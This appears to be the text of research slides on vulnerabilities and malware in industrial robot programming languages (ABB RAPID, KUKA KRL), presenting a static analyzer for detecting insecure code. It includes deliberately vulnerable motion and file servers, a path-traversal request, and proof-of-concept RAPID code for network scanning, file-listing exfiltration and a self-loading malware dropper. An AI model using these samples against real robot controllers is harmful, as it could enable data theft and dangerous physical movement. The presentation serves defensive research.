OTRazor

Static Code Analysis for Vulnerability Discovery in Industrial Automation Scripts

Federico Maggi
Trend Micro Research

Marcello Pogliani
Politecnico di Milano

Research co-authors: Marco Balduzzi, Davide Quarta, Stefano Zanero
Catastrophe Warning: Watch An Industrial Robot Get Hacked

Thomas Brewster  Forbes Staff
Cybersecurity

Associate editor at Forbes, covering cybercrime, privacy, security and hacking.
This Talk in Three Sentences

• Overlooked design flaws in industrial robot programming languages
This Talk in Three Sentences

• Overlooked **design flaws** in industrial robot **programming languages**

• Can lead to **vulnerable logic** or to **hide new kinds of malware**
This Talk in Three Sentences

• Overlooked **design flaws** in industrial robot **programming languages**

• Can lead to **vulnerable** logic or to **hide new kinds of malware**

• We’ll share how to **prevent** and how to **detect** both cases
How do we **program** industrial robots, anyways?

Marcello Pogliani, Politecnico di Milano
Teaching by Showing vs. Programming Languages

MODULE Example
VAR robtarget point0 := [
    [500,500,500],[1,0,0,0],[0,0,0,0],
    [9E+09,9E+09,9E+09,9E+09,9E+09,9E+09]];
VAR robtarget point1 := [
    [700,500,500],[1,0,0,0],[0,0,0,0],
    [9E+09,9E+09,9E+09,9E+09,9E+09,9E+09]];
VAR zonedata zone := z100;

PROC main()
FOR i FROM 1 TO 10 DO
    MoveJ point0, v100, zone, tool0, \WObj:=wobj0;
    WaitTime 4;
    MoveL point1, v100, zone, tool0, \WObj:=wobj0;
    WaitTime 5;
ENDFOR
ENDPROC
ENDMODULE
Example Code Snippet: ABB’s RAPID

```plaintext
MODULE Example

VAR robtarget point0 := [
  [500,500,500],[1,0,0,0],[0,0,0,0],
  [9E+09,9E+09,9E+09,9E+09,9E+09,9E+09]];

VAR robtarget point1 := [
  [700,500,500],[1,0,0,0],[0,0,0,0],
  [9E+09,9E+09,9E+09,9E+09,9E+09,9E+09]];

VAR zonedata zone := z100;

PROC main()
FOR i FROM 1 TO 10 DO
    MoveJ point0, v100, zone, tool0, WObj:=wobj0;
    WaitTime 4;
    MoveL point1, v100, zone, tool0, WObj:=wobj0;
    WaitTime 5;
ENDFOR
ENDPROC
ENDMODULE
```
DEF example()  

DECL POS pos1  
DECL POS pos2  

pos1 := \{X 500, Y 500, Z 500, A 0, B 0, C 0\}  
pos2 := \{X 700, Y 500, Z 500, A 0, B 0, C 0\}  

FOR I=1 TO 10  

PTP pos1  
WAIT SEC 4  
PTP pos2  
WAIT SEC 5  

ENDFOR  

END
<table>
<thead>
<tr>
<th>Language</th>
<th>Vendor</th>
</tr>
</thead>
<tbody>
<tr>
<td>RAPID</td>
<td>ABB</td>
</tr>
<tr>
<td>KRL</td>
<td>KUKA</td>
</tr>
<tr>
<td>MELFA BASIC</td>
<td>Mitsubishi</td>
</tr>
<tr>
<td>AS</td>
<td>Kawasaki</td>
</tr>
<tr>
<td>PDL2</td>
<td>COMAU</td>
</tr>
<tr>
<td>PacScript</td>
<td>DENSO</td>
</tr>
<tr>
<td>URScript</td>
<td>Universal-Robot</td>
</tr>
<tr>
<td>KAREL</td>
<td>FANUC</td>
</tr>
</tbody>
</table>
## Features: Handle File Resources

<table>
<thead>
<tr>
<th>Vendor</th>
<th>File System</th>
<th>Directory Listing</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABB</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>KUKA</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Mitsubishi</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Kawasaki</td>
<td></td>
<td></td>
</tr>
<tr>
<td>COMAU</td>
<td>✓</td>
<td>Indirect</td>
</tr>
<tr>
<td>DENSO</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Universal-Robot</td>
<td></td>
<td></td>
</tr>
<tr>
<td>FANUC</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
# Features: Load new Code at Runtime

<table>
<thead>
<tr>
<th>Vendor</th>
<th>File System</th>
<th>Directory Listing</th>
<th>Load Module From File</th>
<th>Call By Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABB</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>KUKA</td>
<td>✓</td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Mitsubishi</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Kawasaki</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>COMAU</td>
<td>✓</td>
<td>Indirect</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>DENSO</td>
<td></td>
<td></td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Universal-Robot</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>FANUC</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
# Features: Network Communication

<table>
<thead>
<tr>
<th>Vendor</th>
<th>File System</th>
<th>Directory Listing</th>
<th>Load Module From File</th>
<th>Call By Name</th>
<th>Communication</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABB</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>KUKA</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Mitsubishi</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Kawasaki</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>COMAU</td>
<td>✓</td>
<td>Indirect</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>DENSO</td>
<td></td>
<td></td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Universal-Robot</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>FANUC</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
A look at the Runtime Environment

- HARDWARE
- OS
- APP
  - PERM.
  - APP
  - PERM.

isolated
mediated access
A look at the Runtime Environment

- **HARDWARE**
- **OS**
- **USER UNRESTRICTED**
- **USER PROGRAMS**

- **flat**

- **HARDWARE**

- **APP PERM.**
- **APP PERM.**

- **isolated**
- **mediated access**

© 2020 Trend Micro Inc. & Politecnico di Milano
Secure Programming vs. Automation Engineers

Federico Maggi, Trend Micro Research
We Asked Automation Engineers...

What language features do you use when programming robots?

- Network sockets: 50%
- File operations: 50%
- Dynamic code loading: 40%
- Subroutine: 10%
Do OT Folks Talk About Security?

Discussion about security-related topics

- 2.5%
- 5.5%
- 1.8%
- 0.9%
- 7.2%
- 0.0%
- 1.1%
- 4.7%
- 0.3%
## Security-related Keywords Mentioned

<table>
<thead>
<tr>
<th>Online Community</th>
<th>Since</th>
<th>Users</th>
<th>Topics</th>
<th>Messages</th>
<th>Security-related Terms</th>
<th>Discussion about security-related topics</th>
</tr>
</thead>
<tbody>
<tr>
<td>forum.adamcommunity.com</td>
<td>2010</td>
<td>33286</td>
<td>3783</td>
<td>6708</td>
<td>170</td>
<td>2.5%</td>
</tr>
<tr>
<td>dof.robotiq.com</td>
<td>2016</td>
<td>-</td>
<td>1500</td>
<td>83</td>
<td>0.9%</td>
<td>5.5%</td>
</tr>
<tr>
<td>automationforum.in</td>
<td>2012</td>
<td>220</td>
<td>1900</td>
<td>7800</td>
<td>1.8%</td>
<td>1.8%</td>
</tr>
<tr>
<td>robot-forum.com/robotforum</td>
<td>2006</td>
<td>17611</td>
<td>19166</td>
<td>90134</td>
<td>7.2%</td>
<td>0.9%</td>
</tr>
<tr>
<td>control.com</td>
<td>1997</td>
<td>-</td>
<td>-</td>
<td>69,700</td>
<td>0.0%</td>
<td>7.2%</td>
</tr>
<tr>
<td>solisplc.com/forum</td>
<td>2018</td>
<td>134</td>
<td>36</td>
<td>8</td>
<td>0.0%</td>
<td>0.0%</td>
</tr>
<tr>
<td>forums.mrplc.com</td>
<td>2006</td>
<td>46144</td>
<td>33540</td>
<td>16478</td>
<td>0.0%</td>
<td>1.1%</td>
</tr>
<tr>
<td>reddit.com/r/robotics</td>
<td>2008</td>
<td>83614</td>
<td>-</td>
<td>-</td>
<td>4.7%</td>
<td>-</td>
</tr>
<tr>
<td>plc.myforum.ro</td>
<td>2012</td>
<td>93948</td>
<td>41841</td>
<td>41841</td>
<td>89.2%</td>
<td>-</td>
</tr>
<tr>
<td>forum.universal-robots.com</td>
<td>2017</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>0.0%</td>
<td>-</td>
</tr>
<tr>
<td>forums.robotstudio.com</td>
<td>2,013</td>
<td>19,723</td>
<td>8,959</td>
<td>19,723</td>
<td>0.0%</td>
<td>0.3%</td>
</tr>
</tbody>
</table>
Let’s Recap

• Scarce **security awareness** at least according to our small interview plus the online community
Let’s Recap

- Scarce **security awareness** at least according to our small interview plus the online community

- Industrial robots (and probably other machines) are programmed using **legacy, proprietary languages**
Let’s Recap

- Scarce **security awareness** at least according to our small interview plus the online community.

- Industrial robots (and probably other machines) are programmed using **legacy, proprietary languages**.

- These languages have **security-sensitive features**.
Let’s Recap

• Scarce **security awareness** at least according to our small interview plus the online community

• Industrial robots (and probably other machines) are programmed using **legacy, proprietary languages**

• These languages have **security-sensitive features**

• There’s **no fine-grained isolation system** for such features
What Could Possibly Go Wrong?

• **Developers** can introduce **vulnerabilities** that can be exploited

• **Threat actors** can abuse the language features to **write malware**
We Found out that...

- **Developers** can introduce **vulnerabilities** that can be exploited
  - Yes, we found vulnerable code published on GitHub

- **Threat actors** can abuse the language features to **write malware**
  - Yes, we were able to write a network-capable, self-spreading malware dropper
Vulnerable Automation Scripts

Marcello Pogliani, Politecnico di Milano
Vulnerabilities in Industrial Robot Programs

programming languages security awareness

Security-sensitive Features + Lack of Input Validation

= Vulnerabilities

Various instances:

• Unrestricted Movement Commands
• Path Traversal
• Unrestricted Function Calls
Unrestricted Movement Commands

Example: **motion servers**

- **network**: deg = 20
- **robot controller**: MOVE(20)
- **task program**
Motion Servers as Cross-Platform Adapters

ICS-ALERT-20-217-01
Unrestricted Movement Commands

Without Input Validation

network

deg = 20

deg = 50

deg = stuff

robot controller

MOVE(20)

MOVE(50)

MOVE(stuff)

task program

© 2020 Trend Micro Inc. & Politecnico di Milano
Unrestricted Movement Commands

With Input Validation

network

\[\text{deg} = 20\]

\[\text{MOVE}(20)\]

\[\text{deg} = 50\]

robot controller

\[\times \text{invalid}\]

task program

© 2020 Trend Micro Inc. & Politecnico di Milano
A Vulnerable Motion Server

DEF external_movement()
DECL axis pos_cmd

eki_init("ExiHwInterface")
eki_open("ExiHwInterface")

LOOP
  eki_getreal("ExiHwInterface", "RobotCommand/Pos/#A1", pos_cmd.a1)
  eki_getreal("ExiHwInterface", "RobotCommand/Pos/#A2", pos_cmd.a2)
  eki_getreal("ExiHwInterface", "RobotCommand/Pos/#A3", pos_cmd.a3)
  eki_getreal("ExiHwInterface", "RobotCommand/Pos/#A4", pos_cmd.a4)
  eki_getreal("ExiHwInterface", "RobotCommand/Pos/#A5", pos_cmd.a5)
  eki_getreal("ExiHwInterface", "RobotCommand/Pos/#A6", pos_cmd.a6)

  PTP joint_pos_cmd

ENDLOOP

END
Directory Traversal on File Retrieval

network

GET file

robot controller

open(file)

read(file)

task

program

© 2020 Trend Micro Inc. & Politecnico di Milano
Directory Traversal on File Retrieval

- GET file
- GET ../../../vault/secret

network

robot controller

- open(file)
- read(file)

no input validation

task program

© 2020 Trend Micro Inc. & Politecnico di Milano
MODULE VulnWebServer

PROC main()

SocketCreate server;
SocketBind server, '0.0.0.0', 1234;
SocketListen server;

SocketAccept server, sock;

WHILE true DO
    SocketReceive sock, \RawData:=data;
    fileName := ParseCommand(data);
    Open fileName, res;
    ReadAndSendFile({file:=res, \socket:=sock});
ENDWHILE
ENDPROC
ENDMODULE
Example

Web server root

Robot controller

Secrets stolen

Outside the root
Input Validation on Function Calls

- **network**
  - `Funct = "StartCycle"`
  - `call("StartCycle")`
  - robot controller
    - `call("StartCycle")`
    - robot will wait

- **network**
  - `Funct = "Wait"`
  - `call("wait")`
  - robot controller
    - `call("wait")`
    - robot will wait

- **network**
  - `Funct = <any...>`
  - `call(<any defined function>)`
  - robot controller
    - `call(<any defined function>)`
Input Validation on Function Calls

- With input validation...

  - `Funct = "StartCycle"`
  - `call("StartCycle")`
  - `Funct = "Wait"`
  - `call("StartCycle") invalid`
From Automation Logic to Custom Malware

Federico Maggi, Trend Micro Research
### Are These Languages Good to Write Malware?

**• Exchange files via network**

<table>
<thead>
<tr>
<th>Vendor</th>
<th>File System</th>
<th>Directory Listing</th>
<th>Load Module From File</th>
<th>Call By Name</th>
<th>Communication</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABB</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>KUKA</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Mitsubishi</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Kawasaki</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>COMAU</td>
<td>✓</td>
<td></td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>DENSO</td>
<td>✓</td>
<td></td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Universal-Robot</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>FANUC</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>

© 2020 Trend Micro Inc. & Politecnico di Milano
Are These Languages Good to Write Malware?

- Load or send data via network
- Jump to code available at runtime

<table>
<thead>
<tr>
<th>Vendor</th>
<th>File System</th>
<th>Directory Listing</th>
<th>Load Module From File</th>
<th>Call By Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABB</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>KUKA</td>
<td>✓</td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Mitsubishi</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Kawasaki</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>COMAU</td>
<td>✓</td>
<td>Indirect</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>DENSO</td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Universal-Robot</td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>FANUC</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>✓</td>
</tr>
</tbody>
</table>
Are These Languages Good to Write Malware?

- Load or send data via network
- Jump to code available at runtime
- Scan the network for targets

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Communication</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABB</td>
<td>✓</td>
</tr>
<tr>
<td>KUKA</td>
<td>✓</td>
</tr>
<tr>
<td>Mitsubishi</td>
<td>✓</td>
</tr>
<tr>
<td>Kawasaki</td>
<td>✓</td>
</tr>
<tr>
<td>COMAU</td>
<td>✓</td>
</tr>
<tr>
<td>DENSO</td>
<td>✓</td>
</tr>
<tr>
<td>Universal-Robot</td>
<td>✓</td>
</tr>
<tr>
<td>FANUC</td>
<td>✓</td>
</tr>
</tbody>
</table>
Are These Languages Good to Write Malware?

- Load or send data via network
- Jump to code available at runtime
- Scan the network for targets
- Turing-complete language
Can we Scan the Network?

```plaintext
316  FUNG bool scan_port(string ip, num port)
317     SocketCreate sock;
318     SocketConnect sock, ip, port \Time:=1;
319     SocketClose sock;
320     RETURN TRUE;
321
322  ERROR
323      IF ERRNO = ERR.SOCK_TIMEOUT THEN
324          SocketClose sock;
325          RETURN FALSE;
326      ELSE
327          RAISE;
328      ENDIF
329  ENDFUNC
330
331  PROC network_scan()
332     VAR string ip_address_prefix := "10.0.0."; ! target network
333     VAR string ip_address;
334     VAR string out;
335     CONST num PortsLen := 3;
336     VAR num ports{PortsLen} := [5011, 5012, 5013]; ! target ports
337     VAR bool result;
338     curtargets := 1;
339     FOR j FROM firsttarget TO numtargets + firsttarget DO
340         ip_address := ip_address_prefix + NumToStr(j, 0);
341     FOR i FROM 1 TO PortsLen DO
342         result := scan_port(ip_address, ports{i});
```

© 2020 Trend Micro Inc. & Politecnico di Milano
Can we Exfiltrate Files?

```
MODULE FileHarvester

! Small PoC payload of a file harvester.
! Take recursively the list of files in the HOME:/ directory
! and sends it to a remote service (pre-defined IP address)

VAR socketdev sock;

PROC lsdir(stringdirname)
    VAR dir directory;
    VAR string filename;
    VAR string path;
    OpenDir directory, dirname;
    WHILE ReadDir(directory, filename)
        IF filename <> ".." AND filename <> "." THEN
            path := dirname + "/" + filename;
            IF IsFile(path, Directory) THEN
                lsdir(path);
            ENDIF;
            SendSocket sock \Str:=path;
        ENDIF;
    ENDWHILE;
ENDPROC;

PROC main()
    VAR string start := "HOME:";
    VAR string ip_address := "127.0.0.1";
    VAR num port := 5000;
    SocketCreate sock;
ENDPROC
```
A Generic Malware Dropper

MODULE Dropper
PROC main_loop()

! ... variable declaration
! ... socket creation and initialization

WHILE TRUE DO
  SocketReceive clientsock, \Str:=data;
  name := ParseName(data)
  Open diskhome + "\" + name + ".mod", f;
    WHILE data DO
      SocketReceive clientsock, \Str:=rec;
      Write f, rec;
    ENDWHILE
  Load \Dynamic, diskhome \File:=name + ".mod";
  %name + ":main"%; ! call function by name
ENDWHILE
ENDPROC
ENDMODULE

1. Read data from the network
2. Write data to file
3. Load that file as code
How to Bootstrap the Infection?

- Option 1: We have an RCE in the automation scripts
- Option 2: The attacker can be a bit more creative
How to Bootstrap the Infection?

• Option 1: We have an RCE in the automation scripts

• Option 2: The attacker can be a bit more creative
The 'Secure Your Work' package is just a test add-in prepared for research purposes. It does nothing except keeping track of how many times it gets installed. We prepared it and uploaded it to check whether this app store has any manual vetting procedure. If you installed it, just remove it. It will not do any harm. This test is to check whether someone would be able to upload software, including non benign software, via this app store.
ICS Advisory (ICSA-20-098-05)

KUKA.Sim Pro

Original release date: April 07, 2020

1. EXECUTIVE SUMMARY

- **CVSS v3 4.3**
- **ATTENTION:** Exploitable remotely/low skill level to exploit
- **Vendor:** KUKA
- **Equipment:** Sim Pro
- **Vulnerability:** Improper Enforcement of Message Integrity During Transmission in a Communication Channel
Automatic Detection of Unsafe Code Patterns

Marcello Pogliani, Politecnico di Milano
Sources and Sinks

**Attacker-controlled input**

- Sensitive sources
  - File
  - Inbound communication (e.g., network)
  - Teach Pendant (UI)

**Concrete impact**

- Sensitive sinks
  - Robot Movement
  - File Handling (e.g., read)
  - File Modification (e.g., write configuration)
  - Call by Name
Overall Architecture of the Analyzer

1. Parsing
   - Task program's source code
     - RAPID parser
     - KRL parser

2. CFG Generation

3. ICFG Generation

4. Dataflow Analysis

Potential Vulnerabilities
- Potentially Abused Features
- Insecure Patterns & Malicious Patterns
Demo Time
Detection Results

- Hard to find public code (it’s intellectual property)
- 100 RAPID and KRL files on public repo (e.g., GitHub and GitLab)

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Projects</th>
<th>Files</th>
<th>Root Cause</th>
</tr>
</thead>
<tbody>
<tr>
<td>Network → Remote Function Exec</td>
<td>2</td>
<td>2</td>
<td>Dynamic code loading</td>
</tr>
<tr>
<td>Network → File Access</td>
<td>1</td>
<td>4</td>
<td>Unfiltered open file</td>
</tr>
<tr>
<td>Network → Arbitrary Movement</td>
<td>13</td>
<td>34</td>
<td>Unrestricted Move Joint or Move to point</td>
</tr>
<tr>
<td>Detection Errors</td>
<td>2</td>
<td>12</td>
<td>Interrupts</td>
</tr>
</tbody>
</table>
Closing Remarks

Federico Maggi, Trend Micro Research
Defense and Remediation Approaches

• **Secure communication**: hard to implement without language support

• **Input validation**: hard to fix – what to do when invalid input comes in?

• **Privilege separation**: requires changes at the OS/runtime level

• **Code signing**: will probably take 5-10 years to see this widely deployed
• feels **like 25 years ago**: remember the first vulns in web apps?
Sound Bytes

• feels like 25 years ago: remember the first vulns in web apps?

• No resource isolation: if bad things happen...can be very bad!
• feels **like 25 years ago**: remember the first vulns in web apps?

• **No resource isolation**: if bad things happen...can be very bad!

• **Automation engineers**: please follows security guidelines
• feels **like 25 years ago**: remember the first vulns in web apps?

• **No resource isolation**: if bad things happen...can be very bad!

• **Automation engineers**: please follow security guidelines

• **CISOs**: please consider to audit logic written in proprietary languages!
Detecting Insecure Code Patterns in Industrial Robot Programs

Marcello Pogliani
Politecnico di Milano
marcello.pogliani@polimi.it

Federico Maggi
Trend Micro Research
federico_maggi@trendmicro.com

Marco Balduzzi
Trend Micro Research
marco_balduzzi@trendmicro.com

Davide Quarta
EURECOM
davide.quarta@eurecom.fr

Stefano Zanero
Politecnico di Milano
stefano.zanero@polimi.it

Abstract
Industrial robots are complex and customizable machines that can be programmed with proprietary domain-specific languages. These languages allow the transfer of information, but also surprise vulnerabilities.

1 Introduction
Industrial robots are complex manufacturing machines at the center of modern factories. Robots are widely interconnected—through sensors, cameras, and machine vision systems—and are sometimes

• We have a working prototype that can find vulnerabilities in
  • ABB RAPID
  • KUKA KRL
• If you’re interested: get in touch with us!